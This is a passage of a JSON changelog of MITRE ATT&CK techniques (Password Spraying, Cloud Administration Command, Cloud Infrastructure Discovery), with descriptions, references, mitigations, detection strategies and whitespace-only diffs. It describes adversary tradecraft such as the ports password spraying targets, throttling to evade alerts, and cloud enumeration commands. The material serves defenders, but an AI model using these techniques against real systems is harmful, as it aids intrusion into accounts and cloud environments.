<tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">would&nbsp;normally&nbsp;occur&nbsp;when&nbsp;brute&nbsp;forcing&nbsp;a&nbsp;single&nbsp;account&nbsp;wit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">would&nbsp;normally&nbsp;occur&nbsp;when&nbsp;brute&nbsp;forcing&nbsp;a&nbsp;single&nbsp;account&nbsp;wit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;many&nbsp;passwords.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;BlackHillsInfosec&nbsp;Password&nbsp;Spra</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;many&nbsp;passwords.(Citation:&nbsp;BlackHillsInfosec&nbsp;Password&nbsp;Spray</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ying)&nbsp;&nbsp;Typically,&nbsp;management&nbsp;services&nbsp;over&nbsp;commonly&nbsp;used&nbsp;por</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing)&nbsp;&nbsp;Typically,&nbsp;management&nbsp;services&nbsp;over&nbsp;commonly&nbsp;used&nbsp;port</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ts&nbsp;are&nbsp;used&nbsp;when&nbsp;password&nbsp;spraying.&nbsp;Commonly&nbsp;targeted&nbsp;servic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;are&nbsp;used&nbsp;when&nbsp;password&nbsp;spraying.&nbsp;Commonly&nbsp;targeted&nbsp;service</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;include&nbsp;the&nbsp;following:&nbsp;&nbsp;*&nbsp;SSH&nbsp;(22/TCP)&nbsp;*&nbsp;Telnet&nbsp;(23/TCP)&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;include&nbsp;the&nbsp;following:&nbsp;&nbsp;*&nbsp;SSH&nbsp;(22/TCP)&nbsp;*&nbsp;Telnet&nbsp;(23/TCP)&nbsp;*</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">*&nbsp;FTP&nbsp;(21/TCP)&nbsp;*&nbsp;NetBIOS&nbsp;/&nbsp;SMB&nbsp;/&nbsp;Samba&nbsp;(139/TCP&nbsp;&amp;&nbsp;445/TCP)&nbsp;*</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;FTP&nbsp;(21/TCP)&nbsp;*&nbsp;NetBIOS&nbsp;/&nbsp;SMB&nbsp;/&nbsp;Samba&nbsp;(139/TCP&nbsp;&amp;&nbsp;445/TCP)&nbsp;*&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;LDAP&nbsp;(389/TCP)&nbsp;*&nbsp;Kerberos&nbsp;(88/TCP)&nbsp;*&nbsp;RDP&nbsp;/&nbsp;Terminal&nbsp;Service</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">LDAP&nbsp;(389/TCP)&nbsp;*&nbsp;Kerberos&nbsp;(88/TCP)&nbsp;*&nbsp;RDP&nbsp;/&nbsp;Terminal&nbsp;Services</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;(3389/TCP)&nbsp;*&nbsp;HTTP/HTTP&nbsp;Management&nbsp;Services&nbsp;(80/TCP&nbsp;&amp;&nbsp;443/T</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;(3389/TCP)&nbsp;*&nbsp;HTTP/HTTP&nbsp;Management&nbsp;Services&nbsp;(80/TCP&nbsp;&amp;&nbsp;443/TC</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">CP)&nbsp;*&nbsp;MSSQL&nbsp;(1433/TCP)&nbsp;*&nbsp;Oracle&nbsp;(1521/TCP)&nbsp;*&nbsp;MySQL&nbsp;(3306/TCP</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">P)&nbsp;*&nbsp;MSSQL&nbsp;(1433/TCP)&nbsp;*&nbsp;Oracle&nbsp;(1521/TCP)&nbsp;*&nbsp;MySQL&nbsp;(3306/TCP)</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)&nbsp;*&nbsp;VNC&nbsp;(5900/TCP)&nbsp;&nbsp;In&nbsp;addition&nbsp;to&nbsp;management&nbsp;services,&nbsp;adve</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;*&nbsp;VNC&nbsp;(5900/TCP)&nbsp;&nbsp;In&nbsp;addition&nbsp;to&nbsp;management&nbsp;services,&nbsp;adver</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rsaries&nbsp;may&nbsp;\"target&nbsp;single&nbsp;sign-on&nbsp;(SSO)&nbsp;and&nbsp;cloud-based&nbsp;app</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">saries&nbsp;may&nbsp;\"target&nbsp;single&nbsp;sign-on&nbsp;(SSO)&nbsp;and&nbsp;cloud-based&nbsp;appl</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lications&nbsp;utilizing&nbsp;federated&nbsp;authentication&nbsp;protocols,\"&nbsp;as&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ications&nbsp;utilizing&nbsp;federated&nbsp;authentication&nbsp;protocols,\"&nbsp;as&nbsp;w</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">well&nbsp;as&nbsp;externally&nbsp;facing&nbsp;email&nbsp;applications,&nbsp;such&nbsp;as&nbsp;Office</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ell&nbsp;as&nbsp;externally&nbsp;facing&nbsp;email&nbsp;applications,&nbsp;such&nbsp;as&nbsp;Office&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;365.(Citation:&nbsp;US-CERT&nbsp;TA18-068A&nbsp;2018)&nbsp;&nbsp;In&nbsp;order&nbsp;to&nbsp;avoid&nbsp;d</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">365.(Citation:&nbsp;US-CERT&nbsp;TA18-068A&nbsp;2018)&nbsp;&nbsp;In&nbsp;order&nbsp;to&nbsp;avoid&nbsp;de</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">etection&nbsp;thresholds,&nbsp;adversaries&nbsp;may&nbsp;deliberately&nbsp;throttle&nbsp;p</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tection&nbsp;thresholds,&nbsp;adversaries&nbsp;may&nbsp;deliberately&nbsp;throttle&nbsp;pa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">assword&nbsp;spraying&nbsp;attempts&nbsp;to&nbsp;avoid&nbsp;triggering&nbsp;security&nbsp;alert</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ssword&nbsp;spraying&nbsp;attempts&nbsp;to&nbsp;avoid&nbsp;triggering&nbsp;security&nbsp;alerti</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing.&nbsp;Additionally,&nbsp;adversaries&nbsp;may&nbsp;leverage&nbsp;LDAP&nbsp;and&nbsp;Kerbero</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng.&nbsp;Additionally,&nbsp;adversaries&nbsp;may&nbsp;leverage&nbsp;LDAP&nbsp;and&nbsp;Kerberos</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;authentication&nbsp;attempts,&nbsp;which&nbsp;are&nbsp;less&nbsp;likely&nbsp;to&nbsp;trigger&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;authentication&nbsp;attempts,&nbsp;which&nbsp;are&nbsp;less&nbsp;likely&nbsp;to&nbsp;trigger&nbsp;h</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">high-visibility&nbsp;events&nbsp;such&nbsp;as&nbsp;Windows&nbsp;\"logon&nbsp;failure\"&nbsp;event</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">igh-visibility&nbsp;events&nbsp;such&nbsp;as&nbsp;Windows&nbsp;\"logon&nbsp;failure\"&nbsp;event&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;ID&nbsp;4625&nbsp;that&nbsp;is&nbsp;commonly&nbsp;triggered&nbsp;by&nbsp;failed&nbsp;SMB&nbsp;connection</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ID&nbsp;4625&nbsp;that&nbsp;is&nbsp;commonly&nbsp;triggered&nbsp;by&nbsp;failed&nbsp;SMB&nbsp;connection&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;attempts.(Citation:&nbsp;Microsoft&nbsp;Storm-0940)&nbsp;&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">attempts.(Citation:&nbsp;Microsoft&nbsp;Storm-0940)&nbsp;&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1027: Password Policies",
                            "M1032: Multi-factor Authentication",
                            "M1036: Account Use Policies"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0487: Distributed Password Spraying via Authentication Failures Across Multiple Accounts"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--d94b3ae9-8059-4989-8e9f-ea0f601f80a7",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2023-03-13 15:26:11.741000+00:00",
                    "modified": "2026-11-04 01:13:29.978000+00:00",
                    "name": "Cloud Administration Command",
                    "description": "Adversaries may abuse cloud management services to execute commands within virtual machines. Resources such as AWS Systems Manager, Azure RunCommand, and Runbooks allow users to remotely run scripts in virtual machines by leveraging installed virtual machine agents.(Citation: AWS Systems Manager Run Command)(Citation: Microsoft Run Command)\n\nIf an adversary gains administrative access to a cloud environment, they may be able to abuse cloud management services to execute commands in the environment\u2019s virtual machines. Additionally, an adversary that compromises a service provider or delegated administrator account may similarly be able to leverage a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) to execute commands in connected virtual machines.(Citation: MSTIC Nobelium Oct 2021)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "execution"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1651",
                            "external_id": "T1651"
                        },
                        {
                            "source_name": "AWS Systems Manager Run Command",
                            "description": "AWS. (n.d.). AWS Systems Manager Run Command. Retrieved March 13, 2023.",
                            "url": "https://docs.aws.amazon.com/systems-manager/latest/userguide/run-command.html"
                        },
                        {
                            "source_name": "MSTIC Nobelium Oct 2021",
                            "description": "Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022.",
                            "url": "https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/"
                        },
                        {
                            "source_name": "Microsoft Run Command",
                            "description": "Microsoft. (2023, March 10). Run scripts in your VM by using Run Command. Retrieved March 13, 2023.",
                            "url": "https://learn.microsoft.com/en-us/azure/virtual-machines/run-command-overview"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Cisco",
                        "Nichols Jasper",
                        "Jared Wilson",
                        "Caio Silva",
                        "Adrien Bataille",
                        "Anders Vejlby",
                        "Nader Zaveri",
                        "Tamir Yehuda"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "IaaS"
                    ],
                    "x_mitre_remote_support": false,
                    "x_mitre_version": "2.1",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 01:13:29.978000+00:00\", \"old_value\": \"2026-05-12 15:12:00.721000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse cloud management services to execute commands within virtual machines. Resources such as AWS Systems Manager, Azure RunCommand, and Runbooks allow users to remotely run scripts in virtual machines by leveraging installed virtual machine agents.(Citation: AWS Systems Manager Run Command)(Citation: Microsoft Run Command)\\n\\nIf an adversary gains administrative access to a cloud environment, they may be able to abuse cloud management services to execute commands in the environment\\u2019s virtual machines. Additionally, an adversary that compromises a service provider or delegated administrator account may similarly be able to leverage a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) to execute commands in connected virtual machines.(Citation: MSTIC Nobelium Oct 2021)\", \"old_value\": \"Adversaries may abuse cloud management services to execute commands within virtual machines. Resources such as AWS Systems Manager, Azure RunCommand, and Runbooks allow users to remotely run scripts in virtual machines by leveraging installed virtual machine agents. (Citation: AWS Systems Manager Run Command)(Citation: Microsoft Run Command)\\n\\nIf an adversary gains administrative access to a cloud environment, they may be able to abuse cloud management services to execute commands in the environment\\u2019s virtual machines. Additionally, an adversary that compromises a service provider or delegated administrator account may similarly be able to leverage a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) to execute commands in connected virtual machines.(Citation: MSTIC Nobelium Oct 2021)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may abuse cloud management services to execute commands within virtual machines. Resources such as AWS Systems Manager, Azure RunCommand, and Runbooks allow users to remotely run scripts in virtual machines by leveraging installed virtual machine agents. (Citation: AWS Systems Manager Run Command)(Citation: Microsoft Run Command)\\n+Adversaries may abuse cloud management services to execute commands within virtual machines. Resources such as AWS Systems Manager, Azure RunCommand, and Runbooks allow users to remotely run scripts in virtual machines by leveraging installed virtual machine agents.(Citation: AWS Systems Manager Run Command)(Citation: Microsoft Run Command)\\n \\n If an adversary gains administrative access to a cloud environment, they may be able to abuse cloud management services to execute commands in the environment\\u2019s virtual machines. Additionally, an adversary that compromises a service provider or delegated administrator account may similarly be able to leverage a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) to execute commands in connected virtual machines.(Citation: MSTIC Nobelium Oct 2021)\"}}}",
                    "previous_version": "2.1",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to109__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to109__0\"><a href=\"#difflib_chg_to109__top\">t</a></td><td class=\"diff_header\" id=\"from109_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;cloud&nbsp;management&nbsp;services&nbsp;to&nbsp;execute&nbsp;c</td><td class=\"diff_next\"><a href=\"#difflib_chg_to109__top\">t</a></td><td class=\"diff_header\" id=\"to109_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;cloud&nbsp;management&nbsp;services&nbsp;to&nbsp;execute&nbsp;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ommands&nbsp;within&nbsp;virtual&nbsp;machines.&nbsp;Resources&nbsp;such&nbsp;as&nbsp;AWS&nbsp;Syste</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ommands&nbsp;within&nbsp;virtual&nbsp;machines.&nbsp;Resources&nbsp;such&nbsp;as&nbsp;AWS&nbsp;Syste</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ms&nbsp;Manager,&nbsp;Azure&nbsp;RunCommand,&nbsp;and&nbsp;Runbooks&nbsp;allow&nbsp;users&nbsp;to&nbsp;re</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ms&nbsp;Manager,&nbsp;Azure&nbsp;RunCommand,&nbsp;and&nbsp;Runbooks&nbsp;allow&nbsp;users&nbsp;to&nbsp;re</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">motely&nbsp;run&nbsp;scripts&nbsp;in&nbsp;virtual&nbsp;machines&nbsp;by&nbsp;leveraging&nbsp;install</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">motely&nbsp;run&nbsp;scripts&nbsp;in&nbsp;virtual&nbsp;machines&nbsp;by&nbsp;leveraging&nbsp;install</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;virtual&nbsp;machine&nbsp;agents.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;AWS&nbsp;Systems&nbsp;Manager&nbsp;Ru</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;virtual&nbsp;machine&nbsp;agents.(Citation:&nbsp;AWS&nbsp;Systems&nbsp;Manager&nbsp;Run</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;Command)(Citation:&nbsp;Microsoft&nbsp;Run&nbsp;Command)&nbsp;&nbsp;If&nbsp;an&nbsp;adversary</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Command)(Citation:&nbsp;Microsoft&nbsp;Run&nbsp;Command)&nbsp;&nbsp;If&nbsp;an&nbsp;adversary&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;gains&nbsp;administrative&nbsp;access&nbsp;to&nbsp;a&nbsp;cloud&nbsp;environment,&nbsp;they&nbsp;ma</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gains&nbsp;administrative&nbsp;access&nbsp;to&nbsp;a&nbsp;cloud&nbsp;environment,&nbsp;they&nbsp;may</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;be&nbsp;able&nbsp;to&nbsp;abuse&nbsp;cloud&nbsp;management&nbsp;services&nbsp;to&nbsp;execute&nbsp;comm</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;be&nbsp;able&nbsp;to&nbsp;abuse&nbsp;cloud&nbsp;management&nbsp;services&nbsp;to&nbsp;execute&nbsp;comma</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ands&nbsp;in&nbsp;the&nbsp;environment\u2019s&nbsp;virtual&nbsp;machines.&nbsp;Additionally,&nbsp;an</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nds&nbsp;in&nbsp;the&nbsp;environment\u2019s&nbsp;virtual&nbsp;machines.&nbsp;Additionally,&nbsp;an&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;adversary&nbsp;that&nbsp;compromises&nbsp;a&nbsp;service&nbsp;provider&nbsp;or&nbsp;delegated&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">adversary&nbsp;that&nbsp;compromises&nbsp;a&nbsp;service&nbsp;provider&nbsp;or&nbsp;delegated&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">administrator&nbsp;account&nbsp;may&nbsp;similarly&nbsp;be&nbsp;able&nbsp;to&nbsp;leverage&nbsp;a&nbsp;[T</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dministrator&nbsp;account&nbsp;may&nbsp;similarly&nbsp;be&nbsp;able&nbsp;to&nbsp;leverage&nbsp;a&nbsp;[Tr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rusted&nbsp;Relationship](https://attack.mitre.org/techniques/T11</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">usted&nbsp;Relationship](https://attack.mitre.org/techniques/T119</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">99)&nbsp;to&nbsp;execute&nbsp;commands&nbsp;in&nbsp;connected&nbsp;virtual&nbsp;machines.(Citat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">9)&nbsp;to&nbsp;execute&nbsp;commands&nbsp;in&nbsp;connected&nbsp;virtual&nbsp;machines.(Citati</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion:&nbsp;MSTIC&nbsp;Nobelium&nbsp;Oct&nbsp;2021)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on:&nbsp;MSTIC&nbsp;Nobelium&nbsp;Oct&nbsp;2021)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1026: Privileged Account Management"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0545: Detection Strategy for Cloud Administration Command"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-08-20 17:51:25.671000+00:00",
                    "modified": "2026-11-04 01:08:10.060000+00:00",
                    "name": "Cloud Infrastructure Discovery",
                    "description": "An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\n\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a <code>DescribeInstances</code> API within the Amazon EC2 API that can return information about one or more instances within an account, the <code>ListBuckets</code> API that returns a list of all buckets owned by the authenticated sender of the request, the <code>HeadBucket</code> API to determine a bucket\u2019s existence along with access permissions of the request sender, or the <code>GetPublicAccessBlock</code> API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the <code>gcloud compute instances list</code> command to list all Google Compute Engine instances in a project,(Citation: Google Compute Instances) and Azure's CLI command <code>az vm list</code> lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)\n\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as <code>DescribeDBInstances</code> to determine size, owner, permissions, and network ACLs of database resources.(Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "discovery"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1580",
                            "external_id": "T1580"
                        },
                        {
                            "source_name": "Expel IO Evil in AWS",
                            "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.",
                            "url": "https://expel.io/blog/finding-evil-in-aws/"
                        },
                        {
                            "source_name": "AWS Head Bucket",
                            "description": "Amazon Web Services. (n.d.). AWS HeadBucket. Retrieved February 14, 2022.",
                            "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_HeadBucket.html"
                        },
                        {
                            "source_name": "AWS Get Public Access Block",
                            "description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.",
                            "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetPublicAccessBlock.html"
                        },
                        {
                            "source_name": "AWS Describe DB Instances",
                            "description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.",
                            "url": "https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html"
                        },
                        {
                            "source_name": "Amazon Describe Instance",
                            "description": "Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020.",
                            "url": "https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html"
                        },
                        {
                            "source_name": "Amazon Describe Instances API",
                            "description": "Amazon. (n.d.). DescribeInstances. Retrieved May 26, 2020.",
                            "url": "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html"
                        },
                        {
                            "source_name": "Google Compute Instances",
                            "description": "Google. (n.d.). gcloud compute instances list. Retrieved May 26, 2020.",
                            "url": "https://cloud.google.com/sdk/gcloud/reference/compute/instances/list"
                        },
                        {
                            "source_name": "Mandiant M-Trends 2020",
                            "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.",
                            "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"
                        },
                        {
                            "source_name": "Microsoft AZ CLI",
                            "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.",
                            "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest"
                        },
                        {
                            "source_name": "Malwarebytes OSINT Leaky Buckets - Hioureas",
                            "description": "Vasilios Hioureas. (2019, September 13). Hacking with AWS: incorporating leaky buckets into your OSINT workflow. Retrieved February 14, 2022.",
                            "url": "https://blog.malwarebytes.com/researchers-corner/2019/09/hacking-with-aws-incorporating-leaky-buckets-osint-workflow/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Regina Elwell",
                        "Praetorian",
                        "Isif Ibrahima, Mandiant"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "IaaS"
                    ],
                    "x_mitre_version": "1.3",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 01:08:10.060000+00:00\", \"old_value\": \"2026-05-12 15:12:00.635000+00:00\"}, \"root['description']\": {\"new_value\": \"An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\\n\\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a <code>DescribeInstances</code> API within the Amazon EC2 API that can return information about one or more instances within an account, the <code>ListBuckets</code> API that returns a list of all buckets owned by the authenticated sender of the request, the <code>HeadBucket</code> API to determine a bucket\\u2019s existence along with access permissions of the request sender, or the <code>GetPublicAccessBlock</code> API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: 